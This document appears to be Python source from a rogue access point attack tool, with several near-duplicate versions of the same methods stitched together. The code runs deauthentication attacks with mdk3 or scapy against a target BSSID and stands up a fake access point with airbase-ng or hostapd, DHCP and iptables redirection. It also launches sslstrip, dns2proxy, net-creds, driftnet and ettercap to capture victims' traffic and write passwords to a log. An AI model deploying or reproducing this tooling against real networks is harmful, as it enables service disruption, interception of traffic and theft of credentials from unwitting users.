def attack_deauth(self): global threadloading if hasattr(self,'threadScanAP'): if not self.threadScanAP.stopped: return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') if hasattr(self,'thread_airodump'): if self.thread_airodump.isAlive(): return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.configure.xmlSettings('deauth', 'select',None,False) self.args = str(self.configure.xmlSettings('mdk3','arguments', None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid,str(self.input_client.text()),self.interface) threadloading['deauth'].append(threadDeauth) threadDeauth.setObjectName('Deauth scapy') threadDeauth.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def start_etter(self): if self.ConfigTwin["ProgCheck"][1]: if search(str(self.ConfigTwin["AP_iface"]), str(popen("ifconfig").read())): Thread_Ettercap = ProcessThread( [ "sudo", "xterm", "-geometry", "73x25-1+50", "-T", "ettercap", "-s", "-sb", "-si", "+sk", "-sl", "5000", "-e", "ettercap", "-p", "-u", "-T", "-q", "-w", "Logs/passwords", "-i", self.ConfigTwin["AP_iface"], ] ) Thread_Ettercap.setName("Tool::Ettercap") self.Apthreads["RougeAP"].append(Thread_Ettercap) Thread_Ettercap.start() return QMessageBox.information(self, "ettercap", "ettercap not found.")
def attack_deauth(self): global threadloading if hasattr(self,'threadScanAP'): if not self.threadScanAP.stopped: return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') if hasattr(self,'thread_airodump'): if self.thread_airodump.isAlive(): return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings('deauth', 'select',None,False) self.args = str(self.xmlcheck.xmlSettings('mdk3','arguments', None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid,str(self.input_client.text()),self.interface) threadloading['deauth'].append(threadDeauth) threadDeauth.setObjectName('Deauth scapy') threadDeauth.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def attack_deauth(self): global threadloading if hasattr(self, "threadScanAP"): if not self.threadScanAP.stopped: return QMessageBox.warning(self, "scanner", "you need to stop the scanner Access Point") if hasattr(self, "thread_airodump"): if self.thread_airodump.isAlive(): return QMessageBox.warning(self, "scanner", "you need to stop the scanner Access Point") self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == "": QMessageBox.information(self, "Target Error", "Please, first select Target for attack") else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings("deauth", "select", None, False) self.args = str(self.xmlcheck.xmlSettings("mdk3", "arguments", None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == "packets_scapy": self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid, str(self.input_client.text()), self.interface) threadloading["deauth"].append(threadDeauth) threadDeauth.setObjectName("Deauth scapy") threadDeauth.start() else: if path.isfile(popen("which mdk3").read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(("mdk3 %s %s %s" % (self.interface, self.args, self.bssid)).split()) t.name = "Thread mdk3" threadloading["mdk3"].append(t) t.start() else: QMessageBox.information(self, "Error mdk3", "mkd3 not installed") set_monitor_mode(self.get_placa.currentText()).setDisable()
def start_dift(self): if self.ConfigTwin['ProgCheck'][2]: if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())): Thread_driftnet = ProcessThread(['sudo', 'xterm', '-geometry', '75x15+1+200', '-T', 'DriftNet', '-e', 'driftnet', '-i', self.ConfigTwin['AP_iface']]) Thread_driftnet.setName('Tool::Driftnet') self.Apthreads['RougeAP'].append(Thread_driftnet) Thread_driftnet.start() return QMessageBox.information(self,'driftnet','driftnet is not found.')
def start_etter(self): if self.ConfigTwin['ProgCheck'][1]: if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())): Thread_Ettercap = ProcessThread(['sudo', 'xterm', '-geometry', '73x25-1+50', '-T', 'ettercap', '-s', '-sb', '-si', '+sk', '-sl', '5000', '-e', 'ettercap', '-p', '-u', '-T', '-q', '-w', 'Logs/passwords', '-i', self.ConfigTwin['AP_iface']]) Thread_Ettercap.setName('Tool::Ettercap') self.Apthreads['RougeAP'].append(Thread_Ettercap) Thread_Ettercap.start() return QMessageBox.information(self,'ettercap','ettercap is not found.')
def start_dift(self): if self.ConfigTwin["ProgCheck"][2]: if search(str(self.ConfigTwin["AP_iface"]), str(popen("ifconfig").read())): Thread_driftnet = ProcessThread( [ "sudo", "xterm", "-geometry", "75x15+1+200", "-T", "DriftNet", "-e", "driftnet", "-i", self.ConfigTwin["AP_iface"], ] ) Thread_driftnet.setName("Tool::Driftnet") self.Apthreads["RougeAP"].append(Thread_driftnet) Thread_driftnet.start() return QMessageBox.information(self, "driftnet", "driftnet not found.")
def start_dift(self): if self.ConfigTwin['ProgCheck'][2]: if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())): Thread_driftnet = ProcessThread(['sudo', 'xterm', '-geometry', '75x15+1+200', '-T', 'DriftNet', '-e', 'driftnet', '-i', self.ConfigTwin['AP_iface']]) Thread_driftnet.setName('Tool::Driftnet') self.Apthreads['RougeAP'].append(Thread_driftnet) Thread_driftnet.start() return QMessageBox.information(self,'driftnet','driftnet not found.')
def start_etter(self): if self.ConfigTwin['ProgCheck'][1]: if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())): Thread_Ettercap = ProcessThread(['sudo', 'xterm', '-geometry', '73x25-1+50', '-T', 'ettercap', '-s', '-sb', '-si', '+sk', '-sl', '5000', '-e', 'ettercap', '-p', '-u', '-T', '-q', '-w', 'Logs/passwords', '-i', self.ConfigTwin['AP_iface']]) Thread_Ettercap.setName('Tool::Ettercap') self.Apthreads['RougeAP'].append(Thread_Ettercap) Thread_Ettercap.start() return QMessageBox.information(self,'ettercap','ettercap not found.')
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, "Error interface", "Network interface not supported :(") if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, "Error Gateway", "gateway not found") if not self.ConfigTwin["ProgCheck"][5]: return QMessageBox.information(self, "Error Hostapd", "hostapd not installed") dhcp_select = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if dhcp_select == "iscdhcpserver": if not self.ConfigTwin["ProgCheck"][3]: return QMessageBox.warning(self, "Error dhcp", "isc-dhcp-server not installed") elif dhcp_select == "dnsmasq": if not self.ConfigTwin["ProgCheck"][4]: return QMessageBox.information(self, "Error dhcp", "dnsmasq not installed") if str(Refactor.get_interfaces()["activated"]).startswith("wlan"): return QMessageBox.information( self, "Error network card", "You are connected with interface wireless, try again with local connection" ) self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings("accesspoint", "actived", None, False) if self.APactived == "airbase-ng": self.ConfigTwin["interface"] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings("interface", "monitor_mode", self.ConfigTwin["interface"], False) # airbase thread Thread_airbase = ProcessThread( [ "airbase-ng", "-c", str(self.EditChannel.text()), "-e", self.EditApName.text(), "-F", "Logs/Caplog/" + asctime(), self.ConfigTwin["interface"], ] ) Thread_airbase.name = "Airbase-ng" self.Apthreads["RougeAP"].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin["AP_iface"] = [x for x in Refactor.get_interfaces()["all"] if search("at", x)][0] self.FSettings.xmlSettings("netcreds", "interface", self.ConfigTwin["AP_iface"], False) break self.CoreSettings() elif self.APactived == "hostapd": self.FSettings.xmlSettings("netcreds", "interface", str(self.selectCard.currentText()), False) self.ConfigTwin["AP_iface"] = str(self.selectCard.currentText()) try: check_output(["nmcli", "radio", "wifi", "off"]) except CalledProcessError: try: check_output(["nmcli", "nm", "wifi", "off"]) except CalledProcessError as e: return QMessageBox.warning(self, "Error nmcli", e) call(["rfkill", "unblock", "wlan"]) self.CoreSettings() ignore = ("interface=", "ssid=", "channel=") with open("Settings/hostapd.conf", "w") as apconf: for i in self.SettingsAP["hostapd"]: apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split("\n"): if not config.startswith("#") and len(config) > 0: if not config.startswith(ignore): apconf.write(config + "\n") apconf.close() self.Thread_hostapd = ProcessHostapd(["hostapd", "-d", "Settings/hostapd.conf"]) self.Thread_hostapd.setObjectName("hostapd") self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads["RougeAP"].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if selected_dhcp == "iscdhcpserver": Thread_dhcp = ThRunDhcp( [ "sudo", "dhcpd", "-d", "-f", "-lf", "Settings/dhcp/dhcpd.leases", "-cf", "/etc/dhcp/dhcpd.conf", self.ConfigTwin["AP_iface"], ] ) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName("DHCP") self.Apthreads["RougeAP"].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else: return QMessageBox.information(self, "DHCP", selected_dhcp + " not found.") self.Started(True) self.FSettings.xmlSettings("statusAP", "value", "True", False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen("iptables -t nat -A PREROUTING -p udp -j DNAT --to {}".format(str(self.EditGateway.text()))) self.FSettings.xmlSettings("sslstrip_plugin", "status", "False", False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules("sslstrip") # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin["PortRedirect"]) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads["RougeAP"].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread( [ "python", "Plugins/net-creds/net-creds.py", "-i", self.FSettings.xmlSettings("netcreds", "interface", None, False), ] ) Thread_netcreds.setName("Net-Creds") self.Apthreads["RougeAP"].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(["python", "Plugins/dns2proxy/dns2proxy.py"]) Thread_dns2proxy.setName("Dns2Proxy") self.Apthreads["RougeAP"].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search("--append FORWARD --in-interface", rules): popen(rules.replace("$$", self.ConfigTwin["AP_iface"])) elif search("--append POSTROUTING --out-interface", rules): popen(rules.replace("$$", str(Refactor.get_interfaces()["activated"]))) else: popen(rules)
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface','Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wlan']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface ','Network interface is not found') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway is not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd is not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server is not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq is not installed') if str(Refactor.get_interfaces()['activated']).startswith('wl'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wifi']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.ProxyPluginsTAB.GroupSettings.setEnabled(False) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') if self.PopUpPlugins.check_sslstrip.isChecked() or not self.PopUpPlugins.check_dns2proy.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) # load ProxyPLugins self.plugin_classes = Plugin.PluginProxy.__subclasses__() self.plugins = {} for p in self.plugin_classes: self.plugins[p._name] = p() # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked() and not self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sslstrip(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) self.Threadsslstrip.start() elif not self.PopUpPlugins.check_sslstrip.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) self.Threadsslstrip.start() elif self.PopUpPlugins.check_sergioProxy.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) self.Threadsslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)